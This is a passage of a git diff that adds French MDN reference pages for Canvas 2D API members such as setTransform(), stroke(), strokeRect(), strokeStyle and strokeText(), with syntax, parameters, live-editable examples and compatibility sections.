+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 10, 410) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-setlinedash", "CanvasRenderingContext2D.setLineDash")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navivgateurs">Compatibilité des navivgateurs</h2>
+
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.setLineDash")}}</p>
+
+<h2 id="Notes_spécifiques_pour_Gecko">Notes spécifiques pour Gecko</h2>
+
+<ul>
+ <li>Depuis  Gecko 7.0 {{geckoRelease("7.0")}}, la propriété non standard et dépréciée <code>mozDash</code> a été implémentée  comme liste de définition pour les pointillés. Cette propriété sera dépréciée et supprimée dans le futur, voir {{bug(931643)}}. Utilisez <code>setLineDash()</code> à la place.</li>
+</ul>
+
+<h2 id="Notes_spécifiques_pour_WebKit">Notes spécifiques pour WebKit</h2>
+
+<ul>
+ <li>Dans les navigateurs à base de WebKit (e.g. Safari), la propriété non standard et dépréciée <code>webkitLineDash</code> est implémentée en plus de cette méthode. Utilisez <code>setLineDash()</code> à la place.</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui la définit, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.getLineDash()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.lineDashOffset")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/settransform/index.html b/files/fr/web/api/canvasrenderingcontext2d/settransform/index.html
new file mode 100644
index 0000000000..54a288091b
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/settransform/index.html
@@ -0,0 +1,134 @@
+---
+title: CanvasRenderingContext2D.setTransform()
+slug: Web/API/CanvasRenderingContext2D/setTransform
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/setTransform
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.setTransform()</code></strong> de l'API Canvas 2D réinitialise (remplace) la transformation en cours à la matrice identité et appelle ensuite la transformation décrite par les arguments de cette méthode.</p>
+
+<p>Voir aussi la méthode {{domxref("CanvasRenderingContext2D.transform()", "transform()")}}, qui ne replace pas la matrice de transformation en cours et la multiplie par celle donnée..</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.setTransform(a, b, c, d, e, f);</var>
+</pre>
+
+<p>La matrice de transformation est décrite par : <math><semantics><mrow><mo>[</mo><mtable columnalign="center center center" rowspacing="0.5ex"><mtr><mtd><mi>a</mi></mtd><mtd><mi>c</mi></mtd><mtd><mi>e</mi></mtd></mtr><mtr><mtd><mi>b</mi></mtd><mtd><mi>d</mi></mtd><mtd><mi>f</mi></mtd></mtr><mtr><mtd><mn>0</mn></mtd><mtd><mn>0</mn></mtd><mtd><mn>1</mn></mtd></mtr></mtable><mo>]</mo></mrow><annotation encoding="TeX">\left[ \begin{array}{ccc} a &amp; c &amp; e \\ b &amp; d &amp; f \\ 0 &amp; 0 &amp; 1 \end{array} \right]</annotation></semantics></math></p>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>a (m11)</code></dt>
+ <dd>Échelle horizontale.</dd>
+ <dt><em><code>b (m12)</code></em></dt>
+ <dd>Inclinaison horizontale.</dd>
+ <dt><code>c (m21)</code></dt>
+ <dd>Inclinaison verticale.</dd>
+ <dt><code>d (m22)</code></dt>
+ <dd>Échelle verticale.</dd>
+ <dt><code>e (dx)</code></dt>
+ <dd>Déplacement horizontal.</dd>
+ <dt><code>f (dy)</code></dt>
+ <dd>Déplacement vertical.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_setTransform">Utilisation de la méthode <code>setTransform</code></h3>
+
+<p>Ceci est seulement un fragment de code simple qui utilise la méthode <code>setTransform</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.setTransform(1, 1, 0, 1, 0, 0);
+ctx.fillRect(0, 0, 100, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos changements mis à jour en temps réel dans le canevas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.setTransform(1,1,0,1,0,0);
+ctx.fillRect(0,0,100,100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-settransform", "CanvasRenderingContext2D.setTransform")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_navigateurs">Compatibilité navigateurs</h2>
+
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.setTransform")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.transform()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/stroke/index.html b/files/fr/web/api/canvasrenderingcontext2d/stroke/index.html
new file mode 100644
index 0000000000..59f9bb5f95
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/stroke/index.html
@@ -0,0 +1,112 @@
+---
+title: CanvasRenderingContext2D.stroke()
+slug: Web/API/CanvasRenderingContext2D/stroke
+translation_of: Web/API/CanvasRenderingContext2D/stroke
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.stroke()</code></strong> de l'API Canvas 2D dessine le chemin actuel ou donné avec le style de trait actuel utilisant la règle d'enroulement non nulle.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.stroke();</var>
+void <var><em>ctx</em>.stroke(path);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>path</code></dt>
+ <dd>Un chemin {{domxref("Path2D")}} à dessiner.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_stroke">Utilisation de la méthode <code>stroke</code></h3>
+
+<p>Il s'agit d'un extrait de code simple utilisant la méthode <code>stroke</code> pour tracer un chemin.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[4]">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();
+</pre>
+
+<p>Editer le code en dessous et voir vos modifications mises à jour en direct dans le canevas :</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.rect(10, 10, 100, 100);
+ctx.stroke();&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroke", "CanvasRenderingContext2D.stroke")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_avec_les_navigateurs">Compatibilité avec les navigateurs</h2>
+
+<div class="hidden">Le tableau de compatiblité de cette page est généré à partir de données structurées. Si vous voulez contribuer à la récupération des données, s'il vous plaît regardez <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et envoyez nous une<em> pull request</em>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.stroke")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui le définit, {{domxref("CanvasRenderingContext2D")}}.</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/strokerect/index.html b/files/fr/web/api/canvasrenderingcontext2d/strokerect/index.html
new file mode 100644
index 0000000000..e2ac6a0f97
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/strokerect/index.html
@@ -0,0 +1,129 @@
+---
+title: CanvasRenderingContext2D.strokeRect()
+slug: Web/API/CanvasRenderingContext2D/strokeRect
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Référence(2)
+translation_of: Web/API/CanvasRenderingContext2D/strokeRect
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.strokeRect()</code></strong> de l'API 2D des Canvas dessine le contour d'un rectangle aux coordonnées de l'angle haut gauche <em>(x, y)</em> et aux dimensions déterminées par <em>largeur</em> et <em>hauteur</em> dans la balise canvas, et en utilisant l'actuel <code>strokeStyle</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.strokeRect(x, y, largeur, hauteur);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>L'abcisse <em>x</em> des coordonnées du point de départ du rectangle.</dd>
+ <dt><code>y</code></dt>
+ <dd>L'ordonnée <em>y</em> des coordonnées du point de départ du rectangle.</dd>
+ <dt><font face="Consolas, Liberation Mono, Courier, monospace">largeur</font></dt>
+ <dd>La largeur du rectangle.</dd>
+ <dt><code>hauteur</code></dt>
+ <dd>La hauteur de rectangle.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_strokeRect">Utilisation de la méthode <code>strokeRect</code></h3>
+
+<p>Ceci est juste un extrait de code qui utilise la méthode <code>strokeRect</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+
+ctx.strokeStyle = "green";
+ctx.strokeRect(10, 10, 100, 100);
+</pre>
+
+<p>Éditez le code suivant pour voir les changements en direct dans la balise canvas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.strokeStyle = "green";
+ctx.strokeRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokerect", "CanvasRenderingContext2D.strokeRect")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.strokeRect")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>l'interface qui la définit, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.strokeStyle")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.clearRect()")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillRect()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/strokestyle/index.html b/files/fr/web/api/canvasrenderingcontext2d/strokestyle/index.html
new file mode 100644
index 0000000000..cf27a65468
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/strokestyle/index.html
@@ -0,0 +1,160 @@
+---
+title: CanvasRenderingContext2D.strokeStyle
+slug: Web/API/CanvasRenderingContext2D/strokeStyle
+translation_of: Web/API/CanvasRenderingContext2D/strokeStyle
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D.strokeStyle</strong></code> de l'API Canvas 2D spécifie la couleur ou le style à utiliser pour dessiner les lignes autour des formes. La valeur par défaut est <code>#000</code> (black).</p>
+
+<p>Voir également le chapitre <a href="/fr/docs/Tutoriel_canvas/Ajout_de_styles_et_de_couleurs">Ajout de styles et de couleurs</a> dans le <a href="/fr/docs/Tutoriel_canvas">Tutoriel canvas</a>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.strokeStyle = color;
+</var><var><em>ctx</em>.strokeStyle = gradient;
+</var><var><em>ctx</em>.strokeStyle = pattern;</var>
+</pre>
+
+<h3 id="Options">Options</h3>
+
+<dl>
+ <dt><code>color</code></dt>
+ <dd>Une {{domxref("DOMString")}} analysée comme valeur CSS {{cssxref("&lt;color&gt;")}}.</dd>
+ <dt><code>gradient</code></dt>
+ <dd>Un objet {{domxref("CanvasGradient")}} (un gradient linéaire ou radial).</dd>
+ <dt><code>pattern</code></dt>
+ <dd>Un objet {{domxref("CanvasPattern")}} (une image répétée).</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Using_the_strokeStyle_property" name="Using_the_strokeStyle_property">Utiliser la propriété <code>strokeStyle</code> pour définir une couleur différente</h3>
+
+<p>Ceci est un simple snippet de code utilisant la propriété <code>strokeStyle</code> pour définir une couleur différente.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canvas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+
+ctx.strokeStyle = 'blue';
+ctx.strokeRect(10, 10, 100, 100);
+</pre>
+
+<p>Éditez le code ci-dessous pour voir vos changements mettre à jour le canvas en direct:</p>
+
+<div class="hidden">
+<h6 id="Playable_code" name="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.strokeStyle = 'blue';
+ctx.strokeRect(10, 10, 100, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+var ctx = canvas.getContext('2d');
+var textarea = document.getElementById('code');
+var reset = document.getElementById('reset');
+var edit = document.getElementById('edit');
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener('click', function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener('click', function() {
+  textarea.focus();
+})
+
+textarea.addEventListener('input', drawCanvas);
+window.addEventListener('load', drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h3 id="A_strokeStyle_example" name="A_strokeStyle_example">Un exemple <code>strokeStyle</code></h3>
+
+<p>Cet exemple utilise la propriété <code>strokeStyle</code> pour changer les couleurs des contours des formes. Nous utilisons la méthode {{domxref("CanvasRenderingContext2D.arc", "arc()")}} pour dessiner des cercles au lieu de carrés.</p>
+
+<pre class="brush: js">var ctx = document.getElementById('canvas').getContext('2d');
+
+for (var i = 0; i &lt; 6; i++) {
+  for (var j = 0; j &lt; 6; j++) {
+    ctx.strokeStyle = 'rgb(0,' + Math.floor(255 - 42.5 * i) + ',' +
+                      Math.floor(255 - 42.5 * j) + ')';
+    ctx.beginPath();
+    ctx.arc(12.5 + j * 25, 12.5 + i * 25, 10, 0, Math.PI * 2, true);
+    ctx.stroke();
+  }
+}
+</pre>
+
+<div class="hidden">
+<pre class="brush: html">&lt;canvas id="canvas" width="150" height="150"&gt;&lt;/canvas&gt;</pre>
+</div>
+
+<p>Le résultat devrait ressembler à ça:</p>
+
+<p>{{EmbedLiveSample("A_strokeStyle_example", "180", "180", "https://mdn.mozillademos.org/files/253/Canvas_strokestyle.png")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-strokestyle", "CanvasRenderingContext2D.strokeStyle")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("api.CanvasRenderingContext2D.strokeStyle")}}</p>
+
+<h2 id="Notes_spécifiques_à_WebKitBlink">Notes spécifiques à WebKit/Blink</h2>
+
+<ul>
+ <li>Dans les navigateurs basés sur WebKit et Blink, une méthode non standard et dépréciée, <code>ctx.setStrokeColor()</code>, est implémentée en plus de cette propriété.
+
+  <pre class="brush: js">setStrokeColor(color, optional alpha);
+setStrokeColor(grayLevel, optional alpha);
+setStrokeColor(r, g, b, a);
+setStrokeColor(c, m, y, k, a);
+</pre>
+ </li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface qui définit cette propriété, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasGradient")}}</li>
+ <li>{{domxref("CanvasPattern")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/stroketext/index.html b/files/fr/web/api/canvasrenderingcontext2d/stroketext/index.html
new file mode 100644
index 0000000000..379e409679
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/stroketext/index.html
@@ -0,0 +1,129 @@
+---
+title: CanvasRenderingContext2D.strokeText()
+slug: Web/API/CanvasRenderingContext2D/strokeText
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Méthode
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/strokeText
+---
+<div>{{APIRef}}</div>
+
+<p>La méthode <code><strong>CanvasRenderingContext2D.strokeText()</strong></code> de l'API Canvas 2D trace le texte fourni à la position donnée <em>(x, y)</em>. Si le quatrième paramètre optionnel indiquant une largeur maximale est fourni, le texte sera mis à l'échelle pour tenir dans cette cette largeur.</p>
+
+<p>Voir aussi la méthode {{domxref("CanvasRenderingContext2D.fillText()")}} pour dessiner un texte rempli.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">void <var><em>ctx</em>.strokeText(texte, x, y [, largeurMax]);</var>
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>texte</code></dt>
+ <dd>Le texte à tracer en utilisant les valeurs en cours de {{domxref("CanvasRenderingContext2D.font","font")}}, {{domxref("CanvasRenderingContext2D.textAlign","textAlign")}}, {{domxref("CanvasRenderingContext2D.textBaseline","textBaseline")}}, et {{domxref("CanvasRenderingContext2D.direction","direction")}}.</dd>
+</dl>
+
+<dl>
+ <dt><code>x</code></dt>
+ <dd>La coordonnée sur l'axe des x du point de départ du texte.</dd>
+ <dt><code>y</code></dt>
+ <dd>La coordonnée sur l'axe des y du point de départ du texte.</dd>
+ <dt><code>largeurMax</code> {{optional_inline}}</dt>
+ <dd>La largeur maximum à dessiner.  Si spécifiée et si la chaîne est calculée comme étant plus large que cette largeur, la police est ajustée pour utiliser une police plus condensée horizontalement (si une est disponible ou si une raisonnablement lisible lisible peut être synthétisée en mettant à l'échelle horizontalement la police courante), ou une police plus petite.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utilisation_de_la_méthode_strokeText">Utilisation de la méthode <code>strokeText</code></h3>
+
+<p>Il ne s'agit que d'un extrait de code simple qui utilise la méthode <code>strokeText</code>.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;canvas id="canevas"&gt;&lt;/canvas&gt;
+</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<pre class="brush: js; highlight:[5]">var canevas = document.getElementById('canevas');
+var ctx = canevas.getContext('2d');
+
+ctx.font = '48px serif';
+ctx.strokeText('Hello world', 50, 100);
+</pre>
+
+<p>Modifiez le code ci-dessous et voyez vos modifications mises à jour en direct dans le canevas:</p>
+
+<div style="display: none;">
+<h6 id="Playable_code">Playable code</h6>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="400" height="200" class="playable-canvas"&gt;&lt;/canvas&gt;
+&lt;div class="playable-buttons"&gt;
+  &lt;input id="edit" type="button" value="Edit" /&gt;
+  &lt;input id="reset" type="button" value="Reset" /&gt;
+&lt;/div&gt;
+&lt;textarea id="code" class="playable-code"&gt;
+ctx.font = "48px serif";
+ctx.strokeText("Hello world", 50, 100);&lt;/textarea&gt;
+</pre>
+
+<pre class="brush: js">var canvas = document.getElementById("canvas");
+var ctx = canvas.getContext("2d");
+var textarea = document.getElementById("code");
+var reset = document.getElementById("reset");
+var edit = document.getElementById("edit");
+var code = textarea.value;
+
+function drawCanvas() {
+  ctx.clearRect(0, 0, canvas.width, canvas.height);
+  eval(textarea.value);
+}
+
+reset.addEventListener("click", function() {
+  textarea.value = code;
+  drawCanvas();
+});
+
+edit.addEventListener("click", function() {
+  textarea.focus();
+})
+
+textarea.addEventListener("input", drawCanvas);
+window.addEventListener("load", drawCanvas);
+</pre>
+</div>
+
+<p>{{ EmbedLiveSample('Playable_code', 700, 360) }}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "scripting.html#dom-context-2d-stroketext", "CanvasRenderingContext2D.strokeText")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une<em>pull request</em>.</div>
+
+
+<p>{{Compat("api.CanvasRenderingContext2D.strokeText")}}</p>
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>L'interface la définissant, {{domxref("CanvasRenderingContext2D")}}</li>
+ <li>{{domxref("CanvasRenderingContext2D.fillText()")}}</li>
+</ul>
diff --git a/files/fr/web/api/canvasrenderingcontext2d/textalign/index.html b/files/fr/web/api/canvasrenderingcontext2d/textalign/index.html
new file mode 100644
index 0000000000..33ef00d3ed
--- /dev/null
+++ b/files/fr/web/api/canvasrenderingcontext2d/textalign/index.html
@@ -0,0 +1,130 @@
+---
+title: CanvasRenderingContext2D.textAlign
+slug: Web/API/CanvasRenderingContext2D/textAlign
+tags:
+  - API
+  - Canvas
+  - CanvasRenderingContext2D
+  - Propriété
+  - Reference
+translation_of: Web/API/CanvasRenderingContext2D/textAlign
+---
+<div>{{APIRef}}</div>
+
+<p>La propriété <code><strong>CanvasRenderingContext2D</strong></code><strong><code>.textAlign</code></strong> de l'API Canvas 2D indique l'alignement de texte courant à utiliser lors du dessin de texte. Faites attention au fait que l'alignement a pour base la valeur x de la méthode CanvasRenderingContext2D.<strong>fillText</strong>. Ainsi, si textAlign="center", le texte sera alors dessiné en x-50%*width.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var><em>ctx</em>.textAlign = "left" || "right" || "center" || "start" || "end";</var>
+</pre>
+
+<h3 id="Options">Options</h3>
+
+<p>Valeurs possibles :</p>
+
+<dl>
+ <dt>left</dt>
+ <dd>Le texte est aligné à gauche.</dd>
+ <dt>right</dt>
+ <dd>Le texte est aligné à droite.</dd>
+ <dt>center</dt>
+ <dd>Le texte est centré.</dd>
+ <dt>start</dt>
+ <dd>Le texte est aligné au début normal de la ligne (aligné à gauche pour les systèmes d'écriture de gauche à droite, aligné à droite pour les systèmes d'écriture de droite à gauche).</dd>
+ <dt>end</dt>
